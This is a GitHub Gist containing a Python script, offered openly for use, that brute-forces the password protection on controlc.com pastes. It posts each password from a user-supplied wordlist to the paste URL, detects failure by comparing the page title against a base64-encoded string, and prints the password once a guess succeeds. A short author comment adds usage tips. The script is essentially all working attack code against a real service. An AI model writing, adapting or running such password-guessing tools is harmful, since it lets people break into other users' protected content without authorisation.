Skip to content

Instantly share code, notes, and snippets.

@meicookies
Last active July 12, 2022 21:23
Show Gist options
  • Save meicookies/95eb652bf1fd897c35d1140f24da1de2 to your computer and use it in GitHub Desktop.
Save meicookies/95eb652bf1fd897c35d1140f24da1de2 to your computer and use it in GitHub Desktop.
control-c.com brute force password
# coded by ./meicookies
import requests as req
from bs4 import BeautifulSoup as bs
import base64, os, time
def clean():
if os.name == 'nt':
os.system('cls')
else:
os.system('clear')
url = input("url: ")
wordlist = input("wordlist: ")
get_id = "password_" + url.split('/')[-1]
clean()
agent = {
'User-Agent': 'Mozilla/5.0 (Linux; Android 10; Pixel Build/QP1A.190711.019; wv) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Mobile Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded',
'Cache-Control': 'max-age=0',
'Origin': 'https://controlc.com',
'Connection': 'keep-alive',
'Referer': url
}
with open(wordlist) as file:
for pwd in file.read().split('\n'):
title = b'VGhlIGVhc2llc3Qgd2F5IHRvIGhvc3QgeW91ciB0ZXh0'
result = req.post(url, data={get_id: pwd}, headers=agent)
decode_title = base64.b64decode(title).decode('utf-8', 'ignore')
for title in bs(result.text, 'html.parser').find_all('title'):
if title.get_text() == decode_title:
print(f"FAILED: {pwd}")
else:
print(f"SUCCESS: {pwd}")
time.sleep(2)
clean()
print("PASSWORD FOUND!!!")
print(f"URL: {url}\nPASSWORD: {pwd}")
exit()
@meicookies
Copy link
Author

when at controlc.com make sure to enter the title and password

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment